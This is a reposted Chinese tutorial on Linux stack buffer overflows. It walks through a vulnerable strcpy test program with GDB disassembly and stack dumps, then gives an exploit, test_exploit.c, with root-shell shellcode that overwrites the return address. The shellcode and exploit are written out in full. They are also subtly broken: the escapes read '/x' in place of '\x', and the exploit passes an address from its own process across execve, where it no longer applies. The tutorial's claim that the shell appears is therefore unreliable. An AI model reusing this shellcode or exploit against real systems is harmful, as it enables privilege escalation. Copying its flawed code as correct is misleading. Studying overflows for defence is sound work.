Linux下栈溢出的原理及利用(ZT)

时间:2022-01-30 15:34:33
Linux下栈溢出的原理及利用 作者:xinhe 文章来源:xfocus.net 点击数: 23 更新时间:2005-1-25

Linux下栈溢出的原理及利用
作者:xinhe
1、进程空间的内存分布
     一个程序在运行时系统会给这个程序分配4GB的虚拟内存,而这4GB有2GB是共享的,内核可以访问,
    还有2GB是进程独占的,而程序又分为程序段,数据段,堆栈段。动态数据都是通过堆栈段来存放。
    其分布如下:
                    内存高端
          +-------------------+
          |      程序段          |
          +-------------------+
          |      数据段          |
          +-------------------+
          |      堆  栈          |
          +-------------------+
                    内存低端
                    
    而堆栈段的分布又如下:
                   内存高端
          +-------------------+
          |      函数栈          |
          +-------------------+
          |      函数栈          |
          +-------------------+
          |    -------        |
          +-------------------+
          |        堆            |
          +-------------------+
                    内存低端

2、程序对堆栈的使用
   程序每调用一个函数,就会在堆栈里申请一定的空间,我们把这个空间称为函数栈,而随着函数调用层数的
   增加, 函数栈一块块地从高端内存向低端内存地址方向延伸.反之,随着进程中函数调用层数的减少, 即各
   函数调用的返回, 函数栈会一块块地被遗弃而向内存的高址方向回缩.各函数的栈大小随着函数的性质的不
   同而不等, 由函数的局部变量的数目决定。
      进程对内存的动态申请是发生在Heap(堆)里的. 也就是说, 随着系统动态分配给进程的内存数量的增加,
  Heap(堆)有可能向高址或低址延伸, 依赖于不同CPU的实现. 但一般来说是向内存的高地址方向增长的。
     当发生函数调用时,先将函数的参数压入栈中,然后将函数的返回地址压入栈中,这里的返回地址通常是
  Call的下一条指令的地址。
  这里结合一个实例来说明这一过程:
  写这么一个程序
//test.c
#include<stdio.h>
  int fun(char *str)
  {
   char buffer[10];
   strcpy(buffer,str);
   printf("%s",buffer);
   return 0;
  }
  int main(int argc,char **argv)
  {
    int i=0;
    char *str;
    str=argv[1];
    fun(str);
    return 0;
  }
  编译 gcc -g -o test test.c
  然后用GDB来进来调试
  gdb test
  反汇编main函数
0x080483db <main+0>:    push   %ebp
0x080483dc <main+1>:    mov    %esp,%ebp
0x080483de <main+3>:    sub    $0x8,%esp
0x080483e1 <main+6>:    and    $0xfffffff0,%esp
0x080483e4 <main+9>:    mov    $0x0,%eax
0x080483e9 <main+14>:   sub    %eax,%esp
0x080483eb <main+16>:   movl   $0x0,0xfffffffc(%ebp)
0x080483f2 <main+23>:   mov    0xc(%ebp),%eax
0x080483f5 <main+26>:   add    $0x4,%eax
0x080483f8 <main+29>:   mov    (%eax),%eax
0x080483fa <main+31>:   mov    %eax,0xfffffff8(%ebp)
0x080483fd <main+34>:   sub    $0xc,%esp
0x08048400 <main+37>:   pushl  0xfffffff8(%ebp)
0x08048403 <main+40>:   call   0x80483a8 <fun>
0x08048408 <main+45>:   add    $0x10,%esp
0x0804840b <main+48>:   mov    $0x0,%eax
0x08048410 <main+53>:   leave
0x08048411 <main+54>:   ret

注意这一行
0x08048403 <main+40>:   call   0x80483a8 <fun>
这一行是调用fun函数,而下一行的指令地址为:0x08048408,也就是说当fun调用完以后要返回0x08048408
在原程序的第14行设置断点
b 14
run AAAA
这时,程序装运行到函数调用之前,看一下寄存器的地址
i reg
eax            0xbffffaa7       -1073743193
ecx            0xbffff960       -1073743520
edx            0xbffff954       -1073743532
ebx            0x4014effc       1075113980
esp            0xbffff8c0       0xbffff8c0
ebp            0xbffff8c8       0xbffff8c8
esi            0x2      2
edi            0x401510fc       1075122428
eip            0x80483fd        0x80483fd
eflags         0x200282 2097794
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
这里我们需要关心的寄存器主要主esp(栈顶指针),ebp(栈底指针),eip(指令指针)
看一下esp里的数据
x/8x $esp
0xbffff8c0:     0xbffffaa7      0x00000000      0xbffff928      0x4004cad4
0xbffff8d0:     0x00000002      0xbffff954      0xbffff960      0x40037090
再看一下str的地址
print str
$1 = 0xbffffaa7 "AAAA"
因为str就是命令行里的参数,很明显,这里调了main函数时后首先是参数地址被压入栈里。
然后单步执行程序后再看寄存器
si
si
si
i reg
eax            0xbffffaa7       -1073743193
ecx            0xbffff960       -1073743520
edx            0xbffff954       -1073743532
ebx            0x4014effc       1075113980
esp            0xbffff8ac       0xbffff8ac
ebp            0xbffff8c8       0xbffff8c8
esi            0x2      2
edi            0x401510fc       1075122428
eip            0x80483a8        0x80483a8
eflags         0x200396 2098070
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

我们发现esp的值变了,看看压进去了些什么东西
x/8x $esp
0xbffff8ac:     0x08048408      0xbffffaa7      0x4014effc      0x00000000
0xbffff8bc:     0x4014effc      0xbffffaa7      0x00000000      0xbffff928
这里我很可以很清楚的看到调用过程
首先把参数地址0xbffffaa7压入栈内,然后把返回地址0x08048408压入栈内
接着往下看
我们把fun函数也反汇编出来
disas fun
0x080483a8 <fun+0>:     push   %ebp
0x080483a9 <fun+1>:     mov    %esp,%ebp
0x080483ab <fun+3>:     sub    $0x18,%esp
0x080483ae <fun+6>:     sub    $0x8,%esp
0x080483b1 <fun+9>:     pushl  0x8(%ebp)
0x080483b4 <fun+12>:    lea    0xffffffe8(%ebp),%eax
0x080483b7 <fun+15>:    push   %eax
0x080483b8 <fun+16>:    call   0x80482e8 <_init+72>
0x080483bd <fun+21>:    add    $0x10,%esp
0x080483c0 <fun+24>:    sub    $0x8,%esp
0x080483c3 <fun+27>:    lea    0xffffffe8(%ebp),%eax
0x080483c6 <fun+30>:    push   %eax
0x080483c7 <fun+31>:    push   $0x80484e8
0x080483cc <fun+36>:    call   0x80482d8 <_init+56>
0x080483d1 <fun+41>:    add    $0x10,%esp
0x080483d4 <fun+44>:    mov    $0x0,%eax
0x080483d9 <fun+49>:    leave
0x080483da <fun+50>:    ret
再继续往下执行
si
si
si
x/16x $esp
0xbffff890:     0x08048414      0x080495d0      0xbffff8a8      0x080482b5
0xbffff8a0:     0x00000000      0x00000000      0xbffff8c8      0x08048408
0xbffff8b0:     0xbffffaa7      0x4014effc      0x00000000      0x4014effc
0xbffff8c0:     0xbffffaa7      0x00000000      0xbffff928      0x4004cad4

print &buffer
$7 = (char (*)[10]) 0xbffff890

这里可以看出,程序以为buffer分配了空间,而且空间大小为24字节。
程序继续执行
next
x/16x $esp

0xbffff890:     0x41414141      0x08049500      0xbffff8a8      0x080482b5
0xbffff8a0:     0x00000000      0x00000000      0xbffff8c8      0x08048408
0xbffff8b0:     0xbffffaa7      0x4014effc      0x00000000      0x4014effc
0xbffff8c0:     0xbffffaa7      0x00000000      0xbffff928      0x4004cad4
从这里我们可以看出从0xbffff890这个地址开始(也是buffer的地址)开始向高端内存填充,这里填充了
4个"A"A的ACSII码为41

3.其于栈的缓冲区溢出
  我们还是接着这个程序来分析
  我们定义buffer时是要求分配10字节的空间,而程序实际可分配了24个字节的空间,在strcpy执行时
  向buffer里拷贝A时并未检查长度,如果我们向buffer里拷贝的A如果超过24个字节,就会产生溢出。
  如果向buffer里拷贝的A的长度够长,把返回地址0x08048408覆盖了的话程序就会出错。一般会报段
  错误或者非法指令,如果返回地址无法访问,则产生段误,如果不可执行则视为非法指令。
  
4.其于栈的缓冲区溢出利用。
  既然我们可能覆盖返回地址,也就意味着我们可以控制程序的流程,如果这个返回地址正好是一个shellcode
  的入口,那么就可以利用这个有溢出的程序来获得一个shell。
  下面我们就写一个exploit来攻击这个程序
  //test_exploit.c
  #include<stdio.h>
  #include<unistd.h>
  char shellCode[] = "/x31/xdb/x89/xd8/xb0/x17/xcd/x80"
                     "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c"
                     "/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb"
                     "/x89/xd8/x40/xcd/x80/xe8/xdc/xff/xff/xff/bin/sh";
  int main()
  {
    char str[]="AAAAAAAAAA"
               "AAAAAAAAAA"
               "AAAAAAAAAA"
               "AAAAA";
    *(int *)&str[28]=(int)shellCode;
    char *arg[]={"./test",str,NULL};    
    execve(arg[0],arg,NULL);
    return 0;
  }  
  这里我们把str的第28、29、30、31节字里存放shellCode的地址,因为从上面的分析我们得知返回地址在
  距buffer偏移为28的地方。
  编译这个程序
  gcc -g -o test_exploit test_exploit.c
  执行,哈哈,我们期待的shellCode出现了。

 

 

转载者注:有本杂志<<缓冲区溢出教程>>王炜 方勇 编著.对shellcode有较为系统的讲述.Linux下栈溢出的原理及利用(ZT)